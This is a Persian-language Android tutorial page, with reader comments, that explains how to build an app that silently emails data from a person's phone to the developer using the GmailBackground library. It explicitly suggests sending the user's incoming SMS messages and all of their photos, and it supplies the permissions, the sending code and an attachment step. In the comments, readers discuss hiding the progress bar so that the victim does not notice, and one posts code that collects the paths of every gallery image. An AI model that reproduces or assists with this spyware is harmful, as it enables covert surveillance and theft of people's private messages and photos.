آموزش ایمیل کردن اطلاعات در background بدون اطلاع کاربر
سلام دوستان در این سری از آموزش برنامه نویسی اندروید به آموزش ایمیل کردن اطلاعات در background بدون اطلاع کاربر می پردازیم البته این کار درستی نیست ولی شاید بخوایید به طور مثال اطلاعاتی رو از کاربر به دست بیارید سپس برای خودتان ایمیل کنید در اینجا شاید کاربردی باشد به طور مثال پیام هایی را که کاربر دریافت می کند را برای خودتان ایمیل کنید در ادامه با ما همراه باشید.
با استفاده از این آموزش شما می توانید حتی محتویات گوشی شخص مقابل را همانند فایل را نیز به ایمیل خود ارسال کنید.
توجه
ما هیچگونه مسئولیتی در قبال استفاده نادرست از این مطلب را نمی پذیریم و هرگونه سو استفاده بر عهده خود شخص می باشد.
ما این آموزش را به صورت خیلی مبتدی قرار میدهیم دریافت پیامک و تنظیم کردن Alaram (برای اجرا برنامه در زمان خاص برای ارسال فایل. منظور باز کردن اکتیویتی نیست بلکه اجرای یک سرویس در background است) به عهده خودتان است هر دو آموزش در سایت موجود است با ترکیب آنها برنامه کامل را خواهید ساخت.
در اندروید api داخلی وجود ندارد تا ما فایل یا ایمیل را به صورت مستقیم ارسال کنیم بلکه باید از واسط که در اینجا کتاب خانه است استفاده کنیم پس ابتدا کار باید کتاب خانه را اضافه کنید.
وارد فایل build.gradle از نوع module شده و در بخش dependencies خط زیر را اضافه کنید.
1 | compile 'com.github.yesidlazaro:GmailBackground:1.2.0' |
پروژه را sync کنید در صورتی که خطا دارید ادامه را دنبال کنید.
این بار وارد فایل build.gradle شده از نوع Top level و خط زیر را در بخش repositories اضافه کنید.
1 | maven { url "https://jitpack.io" } |
حالا دوباره پروژه را sync کنید.
از همه مهمتر درسترسی ها است وارد فایل AndroidManifest.xml شده و خط های زیر را اضافه کنید.
1 2 | <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="android.permission.INTERNET"/> |
در صورتی که می خواهید فایل هم ارسال کنید باید دسترسی لازم را اضافه کنید.
1 | <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> |
حالا وارد Broadcast یا Alram که نوشتید شده (در بالاتر توضیح دادم باید از یکی از این دوتا استفاده کنید تا یک سرویس را اجرا کنید یا در ساعت خاص برنامه را در baclground اجرا کنید هر دو آموزش در سایت هست) و کد زیر را در آن قرار دهید.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | BackgroundMail.newBuilder(this) .withUsername("username@gmail.com") .withPassword("password12345") .withMailto("toemail@gmail.com") .withType(BackgroundMail.TYPE_PLAIN) .withSubject("this is the subject") .withBody("this is the body") .withOnSuccessCallback(new BackgroundMail.OnSuccessCallback() { @Override public void onSuccess() { //do some magic } }) .withOnFailCallback(new BackgroundMail.OnFailCallback() { @Override public void onFail() { //do some magic } }) .send(); |
در بالا withUsername باید ادرس ایمیلی را که می خواهید فایل یا متنی ارسال شود قرار دهید.
withPassword : پسورد همان ایمیل.
withMailto : آدرس ایمیلی که می خواهید داده ها به آن ارسال شود.
withType : این بخش را دست نزنید.
withSubject : عنوان ایمیل است.
withBody : مقداری کلی که می خواهید برای خود ارسال کنید به طور مثال اس ام اس های کاربر رو دریافت کرده و در اینجا قرار دهید.
withOnSuccessCallback : در صورتی که موفقیت آمیر بود.
withOnFailCallback : در صورتی که ارسال داده موفقیت آمیز نبودش.
اگر خواستید فایل هم ارسال کنید کد زیر را به آن اضافه کنید.
1 | .withAttachments(path) |
در بالا path مسیر فایلی است که در گوشی کاربر به دست آوردید آموزشش در سایت موجود می باشد ولی شما باید یه کلاس درست کنید که فایل های کاربر رو route کند به طور مثال به دست بیارد چه فایلی در گوشی کاربر وجود دارد و در صورتی که وجود داشت مسیر کل عکس ها را به دست بیاورد و به صورت آریه به کد بالا ارسال شود تا به طور مثال تمامی عکس های کاربر برای شما ارسال شود.
این آموزش هم به پایان رسید.
موفق و موید باشید.
این کتابخانه کار نمیکنه . امتحانش کردم ولی ایمیل ارسال نمیکنه.
ممنون از سایت خوبتون
سلام قبل از اینکه کدی در سایت قرار داده شود تست می شود حتما به درستی عمل نکردید دقت کنید باید وارد ایمیل خودتان شده و دسترسی استفاده از آن ایمیل را بدهید وگرنه گوگل اجازه نمی دهد.
موفق باشید.
سلام بله حق باشماست .دسترسی به ایمیل رو در تنظیمات گوگل دادم و ایمیل دریافت کردم.
باتشکر از سایت خوبتون
خواهش می کنم موفق باشید.
لطفا تنظیمات گوگل رو هم بگید اجازه ارسال ایمیل نمیده
راستی آقای جعفری پور این کتابخونه وقتی اجرا میشه یه progress bar میاد رو صفحه که این باعث میشه طرف بفهمه.
اما من کتابخونه رو خودم کاستوم کردم و اون progress bar رو غیرفعال کردم
سلام ویژگی دارد تا progressbar را hide کنید.
به خاطر کدهای کمیابتون ممنون
خواهش می کنم
سلام مرسی از اموزش هاتون
ولی من با اخطار زیر مواجه میشم
خیلی تلاش کردم ولی بی فایده بود
Error:Execution failed for task ‘:app:transformClassesWithDexForDebug’.
> com.android.build.api.transform.TransformException: com.android.ide.common.process.ProcessException: java.util.concurrent.ExecutionException: com.android.dex.DexException: Multiple dex files define Lcom/sun/activation/registries/LineTokenizer;
تروخدا برام این پروژه رو ایمیل کنید خیلی بهش نیاز دارم
سلام خسته نباشد ممنون از سایت خوبتون که واقعا در همه زمینه ها عاالی مرسی که این اطلاعات رو رایگان در اختیار عموم میزارین.
من کد هایه بالا رو زدم و BackgroundMail قرمز میشه و ارور میگیره میخواستم بدونم BackgroundMail اسم چیه؟؟؟
(پروژه رو توی برادکست تست کردم)
سلام و درود BackgroundMail یک سرویس برای ارسال ایمیل در پسزمینه است باید دسترسی ها را به Manifest اضافه کنید در غیر اینصورت پیام شما ارسال نمی شود و همینطور باید Gmail و پسورد آن را به درستی وارد کنید.
موفق باشید.
با سلام
من هر کاری کردم و با هر قند شکنی امتحان کردم گریدل سینک نشد و دانلودش نکرد و ارور داد.اگر امکان داره این کتابخونه رو اینجا بذارید یا بهم ایمیل کنید تا دستی به پروژه اضافه کنم.ممنون
سلام و درود به تازگی همگی این مشکل را دارند کتاب خانه ها به تازگی به شکل بالا عرضه میشن یعنی فایل jar ندارند شما باید پر*و**ک****سی را از یک سایت یا جایی بخرید و همانند آموزش زیر پیش بروید.
https://programchi.ir/2017/04/23/%D8%B9%D9%84%D8%AA-%D8%AE%D8%B7%D8%A7%DB%8C-gradle-sync-failed-%DA%86%DB%8C%D8%B3%D8%AA-%D8%9F/
موفق باشید.
سلام
ما اگه بخواییم این کد رو روی یه گوشی نصب کنیم که یه سری اطلاعات رو به گوشی ما ارسال کنه اگه آدرس ایمیل و پسورد کابر مورد نظر رو نداشته باشیم باید چکار کنیم؟؟ توی توضیحات شما به نظر میرسه باید این اطلاعات رو از کابر داشته باشیم و این خوب نیست.
سلام و درود
این ایمیلی است که اطلاعات را میفرستد ایمیل خود شما می شود نه ایمیل شخص
الان دو تا آورس ایمیل هست
خب یکیش واسه منه
پسورد هم واسه منه
اون یکی که برای نفر مقابله
شاید من آدرس ایمیلش رو نداشته باشم
شما کلا ساز و کار این سیستم رو اشتباه متوجه شدید کمی به title نگاه کنید.
سلام
در بالا withUsername باید ادرس ایمیلی را که می خواهید فایل یا متنی ارسال شود قرار دهید.
withPassword : پسورد همان ایمیل.
یعنی ما باید ایمیل و پسورد کاربر رو داشته باشیم؟
نمیشه کد برنامه رو جوری تغییر بدیم که خودش بتونه از طریق ایمیل گوشی کاربر اطلاعات رو واسه ما بفرسته؟؟
سلام خیر
در قسمت with gmailto().هیچ متغییری رو قبول نمیکنه فقط باید ایمیل وارد بشه؟
اقا حداقل بگید سایتی دیگ ای نیست که این توضیحات داخلش باشه.کاملتر یه سایت شبیه این توضیحات.این خیلی سایت عالیه ای هست ولی کسی ج نمیده
سلام جناب جعفری پور
واقغا ممنون به خاطر این کد کمیاب
فقط اگر لطف کنید ، بفرمایید چطور میشه پروگرس بار از کتابخانه حذف کرد
سلام ممنون بابت اموزش خوب و کاربردیتون
بنده سوالی که داشتم این بود که اخرین پاراگراف شمارو متوجه نشدم
اینکه فرمودید:
“در بالا path مسیر فایلی است که در گوشی کاربر به دست آوردید آموزشش در سایت موجود می باشد ولی شما باید یه کلاس درست کنید که فایل های کاربر رو route کند به طور مثال به دست بیارد چه فایلی در گوشی کاربر وجود دارد و در صورتی که وجود داشت مسیر کل عکس ها را به دست بیاورد و به صورت آریه به کد بالا ارسال شود تا به طور مثال تمامی عکس های کاربر برای شما ارسال شود.”
من الان با این کد
ArrayList galleryImageUrls;
final String[] columns = {MediaStore.Images.Media.DATA, MediaStore.Images.Media._ID};//get all columns of type images
final String orderBy = MediaStore.Images.Media.DATE_TAKEN;//order data by date
Cursor imagecursor = managedQuery(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI, columns, null,
null, orderBy + ” DESC”);//get all data in Cursor by sorting in DESC order
galleryImageUrls = new ArrayList();
String filePath = null;
for (int i = 0; i < imagecursor.getCount(); i++) {
imagecursor.moveToPosition(1);
int dataColumnIndex = imagecursor.getColumnIndex(MediaStore.Images.Media.DATA);//get column index
galleryImageUrls.add(imagecursor.getString(dataColumnIndex));//get Image from column index
}
به درستی تمام ادرسا رو گرفتم اما بهش که میدم اصا اجرانمیکنه اما وقتی بطور مثال
for (int i = 0; i < imagecursor.getCount(); i++) { رو برداشتم برای یدونه تصویر کار کرد
ممنون میشم راهنماییم کنین